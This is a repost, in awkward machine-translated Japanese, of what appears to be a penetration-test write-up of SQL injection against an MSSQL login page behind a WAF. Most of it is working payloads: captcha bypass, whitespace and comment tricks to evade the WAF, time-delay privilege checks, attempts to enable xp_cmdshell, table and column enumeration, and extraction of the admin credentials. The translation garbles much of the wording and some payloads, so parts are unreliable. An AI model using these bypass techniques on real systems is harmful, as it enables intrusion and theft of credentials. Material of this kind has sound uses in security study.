Jump to content

このテストは承認されたテストです。インジェクションポイントがバックグラウンドでログインするユーザー名は1049983-20220119230323513-1792880900.pngです

検証コードが存在し、検証はCookieを削除し、検証コードフィールド1049983-20220119230324012-211512998.png 1049983-20220119230324458-401317242.pngを削除することでバイパスできます。

単一の引用を追加し、エラー1049983-20220119230325019-891661708.pngを報告します

および '1'='1

接続リセット——は、WAF 1049983-20220119230325526-1849947822.pngによって傍受されます

ケースを変更して、スペースをMSSQLホワイトスペースに置き換えます[0x00-0x20]

%1と%1E'1 '=' 1

1049983-20220119230326046-384574200.png

クエリデータベースバージョン、MSSQL 2012 X64

%1EOR%1E1=@@バージョン%1E--

1049983-20220119230326573-700972169.png

現在のユーザーをクエリします

%1EOR%1E1=user%1E--

1049983-20220119230327082-370238786.png

現在のユーザーがDBAおよびDB_OWNERであるかどうかをクエリします

; if(0=(select%1eis_srvrolemember( 'sysadmin')))waitfor%1edelay%1e'0:033605 '%1e--

; if(0=(select%1eis_srvrolemember( 'db_owner'))))

どちらも遅延があり、現在のユーザーはDBAまたはDB_OWNER 1049983-20220119230327604-2105801106.pngでもありません

XP_CMDSEHLLを実行してみてください。関連する権限はありません

; exec%1esp_configure%1e'show Advanced options '、1; reconfigure%1e-

; exec%1esp_configure%1e'xp_cmdshell '、1; reconfigure%1e-

1049983-20220119230328132-520648582.png 1049983-20220119230328579-1752454191.png

現在のデータベースを照会し、接続リセット——はWAFによって傍受されます

%1EOR%1E1=(DB_NAME()%1E)%1E--

1049983-20220119230329110-639809469.png

関数名の文字を削除し、——WAFを返すことは通常、関数db_name()をフィルターします。 MSSQLとMSQLには、次のようないくつかの同様の機能があります。関数名とブラケットには、コメントやWhitespace文字で満たすことができます。

%1EOR%1E1=(DB_NAME/**/()%1E)%1E--

1049983-20220119230329676-1494737359.png 1049983-20220119230330157-1707607635.png

現在のデータベースのテーブルをクエリすると、接続リセット——はWAFによって傍受されます

%1EOR%1E1=(%1EINFORMATION_SCHEMA.TABLES%1E)%1E)from%1EOP%1E1%1ETABLE_NAME

1049983-20220119230330645-644931403.png

選択後にステートメントを削除し、通常に戻ります。 IIS+ASPX環境では、同じ名前の複数のパラメーターが同時に提出された場合、サーバーで受信されたパラメーターの値は、コンマに接続された複数の値です。実際のアプリケーションでは、コメントを使用してコンマをコメントアウトできます。

%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%

まだ1049983-20220119230331164-1008694086.pngを傍受しました

Information_schema.tablesの文字を削除して、通常の——wafフィルター情報_schema.tablesを返します。 MySQLインジェクションを学んでいたとき、公式の文書がこれを言ったのを見ました:「資格キャラクターは別のトークンであり、関連する識別子と隣接する必要はありません。」修飾子( '。'など)は、左と右側のWhitespace文字に挿入でき、MSSQLはテスト後に同じ特性を持っていることがわかります。 information_schem.tables -information_schem%0f。%0ftables

%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%

1049983-20220119230331689-857136990.png

テーブル名は、not in( 'table_1'、 'table_2' .)1049983-20220119230332232-445750851.pngで通過できます。

手動注入はこの方法を使用するには遅すぎます、すべてのテーブル名を一度にクエリします

%1EOR%1E1=(SELECT/*USERNAME=*/%1 Equotename(name)%1Efrom Bak_ptfl%0f.Sysobjects%

1049983-20220119230332834-614520212.png

テーブル名から判断すると、管理者のテーブルはappsadminである必要があり、テーブルのすべての列を一度にクエリする必要があります。

%1EOR%1E1=(SELECT/*USERNAME=*/%1 Equotename/**/(name)%1Efrom bak_ptfl%0f.syscolumns%1ewhere%1eid=(select/*username=*/%1eid%1efrom%1ebak_ptfl%0f.ssobjects%1ewhere%1ename='appsadmin')%1efor%1exml%1epath

1049983-20220119230333363-1730830597.png

管理者のユーザー名とパスワードフィールドを取得します:adminname、パスワード。ユーザー名とパスワードをクエリします

%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EADMINNAME%1EFROM%1EAPPSADMIN%1E)%1E-

%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EPASSWORD%1EFROM%1EAPPSADMIN)%1E--

1049983-20220119230333895-1353679920.png 1049983-20220119230334443-1048969040.png

復号化後、バックグラウンドへのログイン1049983-20220119230334904-1083242178.pngに正常にログインしました

要約

1。BPターゲットサイトのパケットキャプチャと、ターゲットシステムに検証コードがあることを発見しました

2.要求されたデータパケットのCookieパラメーターと値を削除し、検証コードパラメーターと値を削除します。

3.もう一度リクエストを行い、検証コードエラーを促す情報を見つけない

4.要求された投稿パケットのユーザー名に単一の引用符を追加して、エラーを報告する

username=amdin'password=admin

5。テストと「1」='1は表示できません。ターゲットシステムにはWAFがあります

username=amdin 'および' 1 '=' 1password=admin

6.キーワードのケースを変更し、スペースをMSSQLホワイトスパース([0x00-0x20])、つまり%1eに置き換えます。通常のエコーコンテンツを見ることができます

username=amdin '%1 andd%1e'1'='1password=admin

7.データベースバージョンをクエリします

username=amdin '%1EOR%1E1=@@ version%1e - password=admin

8。現在のユーザーをクエリします

username=amdin '%1EOR%1E1=user%1e - password=admin

9.現在のユーザーがDBAとDB_OWNERであるかどうかをクエリします。どちらも遅延があります。現在のユーザーはDBAでもDB_OWNERでもありません

username=amdin '; if(0=(select%1eis_srvrolemember(' sysadmin ')))waitfor%1edelay%1e'0:0:5'%1e - password=admin

username=amdin '; if(0=(select%1eis_srvrolemember(' db_owner ')))waitfor%1edelay%1e'0:0:5'%1e - password=admin

10.関連する権限なしでXP_CMDSEHLLを実行してみてください。

username=amdin '; exec%1ESP_CONFIGURE%1E'SHOW Advanced Options'、1; ReconFigure%1E - PassWord=admin

username=amdin '; exec%1esp_configure%1e'xp_cmdshell'、1; reconfigure%1e - password=admin

11.現在のデータベース名をクエリすると、接続リセット——がWAFによって傍受されます

username=amdin '%1eor%1e1=(db_name()%1e)%1e - password=admin

12.wafは、db_name()関数をインターセプトできます。ここでは、関数名と括弧を使用してコメント/** /またはwhitespace文字を入力して、現在のデータベース名を正常に取得できます。

username=amdin '%1eor%1e1=(db_name/**/()%1e)%1e - password=admin

13.現在のデータベーステーブルを取得すると、接続リセット——がWAFによって傍受されます

username=amdin '%1EOR%1E1=(SELECT%1EOP%1E1%1ETABLE_NAME%1IENFORMATION_SCHEMA.TABLES%1E)%1E - PassWord=admin

14.選択後にステートメントを削除し、通常に戻ります。 IIS+ASPX環境では、同じ名前の複数のパラメーターが同時に提出された場合、サーバーで受信されたパラメーターの値は、コンマに接続された複数の値です。実際のアプリケーションでは、コンマはコメントでコメントすることができますが、WAFによってまだ傍受されています。

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%1ETABLE_NAME from%1einformation_schem.tables%1e)%1e - password=admin

15. information_schema.tablesの文字を削除し、通常の——wafフィルター情報_schema.tablesを返します。 MySQLインジェクションを学んでいたとき、公式の文書がこれを言ったのを見ました:「資格キャラクターは別のトークンであり、関連する識別子と隣接する必要はありません。」修飾子( '。'など)は、左と右側のWhitespace文字に挿入でき、MSSQLはテスト後に同じ特性を持っていることがわかります。 Information_schema.Tables -Information_schema%0f。%0ftables、テーブル名を正常に取得します

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%1ETABLE_NAME%1IENFORMATION_SCHEMA%0F。%0FTABLES%1E)

16.すべてのテーブル名を一度にクエリします

username=amdin '%1EOR%1E1=(select/*username=*/%1equotename(name)%1efrom bak_ptfl%0f.Sysobjects%1ewhere%1extype=' u 'for xml path(' '))%1E-password=admin

17。テーブル名から判断すると、管理者のテーブルはAppSadminであり、テーブルのすべての列を一度に照会する必要があります。

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1 EquoTename/**/(name)%1Efrom bak_ptfl%0f.syscolumns%1ewhere%1eid=(select/*username=*/%1eid%1efrom%1ebak_ptfl%0f.ssobjects%1ewhere%1ename='appsadmin')%1efor%1exml%1epath

18.管理者のユーザー名とパスワードフィールドを取得:adminname、パスワード。ユーザー名とパスワードをクエリします

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EADMINNAME%1EFROM%1EAPPSADMIN%1E)%1E - PassWord=admin

username=amdin '

%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EPASSWORD%1EFROM%1EAPPSADMIN)%1E - PassWord=admin

20。ユーザー名のパスワードハッシュ値を復号化し、バックグラウンドに正常にログインします

オリジナルリンク:https://xz.aliyun.com/t/7487

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...